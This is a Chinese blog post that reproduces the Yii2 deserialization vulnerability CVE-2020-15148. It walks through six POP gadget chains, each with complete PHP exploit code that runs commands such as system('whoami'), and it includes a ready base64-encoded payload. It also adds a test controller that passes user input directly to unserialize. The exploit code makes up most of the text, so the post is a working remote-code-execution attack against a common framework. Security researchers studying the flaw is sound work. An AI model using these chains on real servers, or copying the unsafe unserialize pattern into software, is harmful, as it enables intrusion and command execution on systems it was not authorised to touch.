代码编织梦想

yii2框架 反序列化漏洞复现

yii 框架

Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。

搭建过程

直接官网下载2.0.37,放在phpstudy,修改config/web.php文件里cookieValidationKey的值,这个值没有固定,然后打开目录http://ip/yii2/web

由于是反序列化利用链,我们需要一个入口点,在controllers目录下创建一个Controller:

路由为:http://ip/index.php?r=test/test

controllers/TestController.php

<?php

namespace app\controllers;

use yii\web\Controller;

class TestController extends Controller{
    public function actionTest($data){
        return unserialize(base64_decode($data));
    }
}

CVE-2020-15148复现

phpstorm直接利用F4一键跟进

首先看\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php

image-20220329151422036

跟踪close函数,但是后面不能利用了。

image-20220329151529948

因为$this->_dataReader参数可控,想到了__call,当对象调用不可访问的函数时,就会触发。

全局搜索一下__call方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php存在合适的方法

image-20220329152500434

image-20220329152602227

跟踪format函数

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func_array(callable $callback, array $param_arr): mixed 
callback
    被调用的回调函数。
param_arr
    要被传入回调函数的数组,这个数组得是索引数组。

跟进getFormatter,其中$formatter=close

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

因为$this->formatters是可控的,因此getFormatter方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments);中,第一个参数可控,第二个参数为空。

所以我们需要找一个无参数的方法

function \w+\(\) ?\n?\{(.*\n)+call_user_func

rest/CreateAction.php以及rest/IndexAction.php

主要是它的run方法

public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }
    
    return $model;
}

所以pop链

class BatchQueryResult  ->__destruct()
↓↓↓
class BatchQueryResult  ->reset() //调用close函数导致触发__call
↓↓↓
class Generator  ->__call()
↓↓↓
class Generator  ->format()
↓↓↓
class Generator  ->getFormatter() //call_user_func_array,找无参方法
↓↓↓
class IndexAction  ->run()

所以直接构造

poc1

use用来调用某个包的类

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

image-20220329154128574

链子2

yii2.0.37

我们利用close函数

找到一个FnStream.phpvendor\guzzlehttp\psr7\src目录下,代码如下

image-20220329155835216

$this->_fn_close属性可控

我们构造链子

<?php
namespace GuzzleHttp\Psr7 {
    class FnStream {
        var $_fn_close = "phpinfo()";
    }
}
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }
	$b=new BatchQueryResult();
	echo base64_encode(serialize($b));

image-20220329160359965

我们将危害进行放大,这里就需要一个执行类,拿这个call_user_func函数作跳板,来进行代码执行,全局搜索eval,找到一个MockTrait.php文件在vendor\phpunit\phpunit\src\Framework\MockObject下,代码如下:

public function generate(): string
{
    if (!\class_exists($this->mockName, false)) {
        eval($this->classCode);
    }

    return $this->mockName;
}

$this->classCode$this->mockName都可控

于是即可构造完整的pop

yii\db\BatchQueryResult::__destruct()->reset()->close()
->
GuzzleHttp\Psr7\FnStream::close()->call_user_func
->
PHPUnit\Framework\MockObject\MockTrait::generate->eval()

所以构造链子

<?php
namespace PHPUnit\Framework\MockObject{
    class MockTrait {
        private $classCode = "system('whoami')";
        private $mockName = "z3eyond";
    }
}

namespace GuzzleHttp\Psr7 {

    use PHPUnit\Framework\MockObject\MockTrait;
    class FnStream {
        var $_fn_close;
        function __construct(){
            $this->_fn_close = array(
                new MockTrait(),
                'generate'
            );
        }
    }
}
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }
    $b = new BatchQueryResult();
    print_r(base64_encode(serialize($b))).PHP_EOL;

}

image-20220329170035862

报错,我们查LogicException

image-20220329170134240

只需要绕过__wakeup就行,增加属性个数就行

所以payload

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoyOntzOjk6Il9mbl9jbG9zZSI7YToyOntpOjA7TzozODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQiOjI6e3M6NDk6IgBQSFBVbml0XEZyYW1ld29ya1xNb2NrT2JqZWN0XE1vY2tUcmFpdABjbGFzc0NvZGUiO3M6MTc6InN5c3RlbSgnd2hvYW1pJyk7IjtzOjQ4OiIAUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQAbW9ja05hbWUiO3M6ODoiZXh0cmFkZXIiO31pOjE7czo4OiJnZW5lcmF0ZSI7fX19

image-20220329170533196

链子3

yii2.0.38

利用点在vendor/codeception/codeception/ext/RunProcess.php

image-20220329170953317

对象在销毁的时候,触发__destruct方法,__destruct方法调用了stopProcess方法,stopProcess方法中的$this->processes可控,即$process也可控,$process会调用isRunning()方法,那么这里就可以尝试利用__call方法了,可以接着上面的POP1链利用

所以pop链的流程

\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\Generator::__call()->format()->call_user_func_array()
->
\yii\rest\IndexAction::run->call_user_func()

POP3:

<?php
// EXP3: RunProcess -> ... -> __call()
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';           //command
            // run() -> call_user_func($this->checkAccess, $this->id);
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['isRunning'] = [new IndexAction, 'run'];
            //stopProcess方法里又调用了isRunning()方法: $process->isRunning()
        }
    }
}


namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }

    }
}

namespace{
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}

?>

链子4

利用点在vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

主要代码

public function __destruct()
{
    foreach ($this->keys as $nsKey => $null) {
        $this->clearAll($nsKey);
    }
}
public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        if (is_dir($this->path.'/'.$nsKey)) {
            rmdir($this->path.'/'.$nsKey);
        }
        unset($this->keys[$nsKey]);
    }
}
public function clearKey($nsKey, $itemKey)
{
    if ($this->hasKey($nsKey, $itemKey)) {
        $this->freeHandle($nsKey, $itemKey);
        unlink($this->path.'/'.$nsKey.'/'.$itemKey);
    }
}

unlink使用拼接字符串,$this->path可控,即可想到调用__toString方法(当一个对象被当做字符串使用时被调用)

全局查找__toString()方法

下面的几个类中的__toString方法可用

\Codeception\Util\XmlBuilder::__toString -> \DOMDocument::saveXML 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Deprecated::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Generic::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\See::__toString -> render可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Link::__toString -> render

\Codeception\Util\XmlBuilder::__toString为例,构造pop链

\Swift_KeyCache_DiskKeyCache::__destruct -> clearAll -> clearKey -> __toString
-> 
\Codeception\Util\XmlBuilder::__toString -> saveXML
-> 
Faker\Generator::__call()->format() -> call_user_func_array()
->
\yii\rest\IndexAction::run -> call_user_func()

pop4:

<?php
// EXP: Swift_KeyCache_DiskKeyCache::__destruct -> __toString -> __call
namespace {

    use Codeception\Util\XmlBuilder;
    use phpDocumentor\Reflection\DocBlock\Tags\Covers;

    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys;

        public function __construct()
        {
            $this->keys = array(
                "extrader" =>array("is", "am")
            );  //注意 ClearAll中的数组解析了两次,之后再unlink
            $this->path = new XmlBuilder();
        }
    }

    $payload = new Swift_KeyCache_DiskKeyCache();
    echo base64_encode(serialize($payload));
}

namespace Codeception\Util{
    use Faker\Generator;

    class XmlBuilder{
        protected $__dom__;
        public function __construct(){
            $this->__dom__ = new Generator();
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;

    class Covers{
        private $refers;
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
            $this->refers = "AnyStringisOK";
        }
    }

}

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';           //command
            // run() -> call_user_func($this->checkAccess, $this->id);
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['saveXML'] = [new IndexAction, 'run'];
        }
    }
}

链子5

过程

\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\ValidGenerator::__call()->call_user_func_array()->call_user_func()
->
Faker\DefaultGenerator::__call()->$this->default
<?php

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 99999999;
    }
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

链子6

\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\UniqueGenerator::__call()->call_user_func_array()->serialize()
->
Symfony\Component\String::__sleep()::__toString()::($this->value)()
<?php

namespace yii\rest
{
    class IndexAction{
        function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Symfony\Component\String
{
    use yii\rest\IndexAction;
    class LazyString
    {
        function __construct()
        {
            $this->value = [new indexAction(), "run"];
        }
    } 
    class UnicodeString
    {
        function __construct()
        {
            $this->value = new LazyString();
        }
    }
}

namespace Faker
{
    use Symfony\Component\String\LazyString;
    class DefaultGenerator
    {
        function __construct()
        {
            $this->default = new LazyString();
        }
    }

    class UniqueGenerator
    {
        function __construct()
        {
            $this->generator = new DefaultGenerator();
            $this->maxRetries = 99999999;
        }

    }
}

namespace Codeception\Extension
{
    use Faker\UniqueGenerator;
    class RunProcess
    {
        function __construct()
        {
            $this->processes[] = new UniqueGenerator();
        }
    }
}

namespace
{
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess();
    echo(base64_encode(serialize($exp)));
}

参考链接

https://www.extrader.top/posts/c79847ee/

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/unexpectedthing/article/details/123829375

所有Yii2 版本 反序例化漏洞修复-爱代码爱编程

什么是反序列化漏洞       也叫PHP对象注入,漏洞形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。这个漏洞并不是PHP特有,在Java、Python其他语言也存在,原理基本相通。   比较典型的PHP反序化漏洞可能会用到的魔

反序列化漏洞汇总-爱代码爱编程

一.反序列化的基本内容 类对象方法 类(Class): 用来描述具有相同的属性和方法的对象的集合。 它定义了该集合中每个对象所共有的属性和方法。对象是类的实例。 对象:通过类定义的数据结构实例。对象包括两个数据成员(类变量和实例变量)和方法。 对象:某一个具体的事物、实体或事例 类是类型,比如人类,犬类; 对象是某种类的一个实例(实际的例子),比

Yii2反序列化漏洞-爱代码爱编程

Yii2反序列化漏洞 环境搭建反序列化链寻找BatchQueryResult (版本<2.0.38)RunProcessSwift_KeyCache_DiskKeyCache 环境搭建 yii下载链接,选择版本<=2.0.37进行下载自己在github上下载的yii2需要修改config/web.php文件里cookieVa

Yii2 反序列化漏洞复现-爱代码爱编程

文章目录 环境搭建漏洞复现(CVE-2020-15148)漏洞分析其他反序列化链1(2.0.38可用)其他反序列化链2(2.0.38可用)自己找个__toString()其他反序列化链3(2.0.37可用) 环境搭建 下载yii2.0.37版本,https://github.com/yiisoft/yii2/releases/tag/2.0.

CVE-2019-9081--laravel5.7 反序列化漏洞复现-爱代码爱编程

目录​​​​​​​ 简介: 环境部署: 分析: 参考文章: 简介: 和yii一样,Laravel也是一套简洁、优雅的PHPWeb开发框架(PHP Web Framework)。  在laravel框架中没有找到合适的触发点,因此需要对基于laravel v5.7框架进行二次开发的cms进行再次审计,寻找可控的反序列化点,才能触发该漏洞。

yii反序列化漏洞复现及利用-爱代码爱编程

yii反序列化漏洞 Yii框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。 Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web

[代码审计]yii2 反序列化漏洞分析-爱代码爱编程

前言 漏洞存在版本<2.0.38 CVE-2020-15148 框架搭建 直接去github下载,修改好cookie的key,然后就可以访问/web了 漏洞分析 先看github里作者的提交 可以发现在 framework/db/BatchQueryResult.php 里面添加了_wakeup方法 我们就直奔这里去看了 yii2.0

yii2 反序列化漏洞复现与分析-爱代码爱编程

环境搭建 漏洞在yii2.0.38之前的版本,下载2.0.37basic版本 https://github.com/yiisoft/yii2/releases/tag/2.0.37 修改/config/web文件的值 在当前目录输入php yii serve启动 复现 先构造反序列化的入口 新建一个controller &

yii2.0.37反序列化漏洞审计-爱代码爱编程

源码地址 https://github.com/yiisoft/yii2/releases/tag/2.0.37 一、审计工具 phpstrom2020.1.3 二、审计步骤 1.由于刚刚搭建完成,yii本身并没有可以利用来反序列化的Action,所以添加controllers/TestController.php,代码如下 <?php

华为数通HCIE面试看这个就够了系列——MPLS V*N-爱代码爱编程

文章目录 一、***基础。1.***中路由器的角色。2.MPLS ***。(1)如何解决不同site连接到同一个PE后,私网路由冲突问题?(2)如何在不同的PE之间传递路由信息?(3)RD在规划时需要注意什么?(4)如何将ipv4的私网路由转化成***v4的路由?(5)当PE收到***v4路由后,如何将这些***v4路由自动的注入到本地***-in

初识EMQX与安装-爱代码爱编程

1、EMQX简介 MQTT属于是物联网的通信协议,在MQTT协议中有两大角色:客户端(发布者/订阅者),服务端(Mqtt broker);针对客户端和服务端需要有遵循该协议的的具体实现,EMQ/EMQ X就是MQTT Broker的一种实现。 EMQ官网:https://www.emqx.io 1.1 EMQX是什么? EMQ X 基于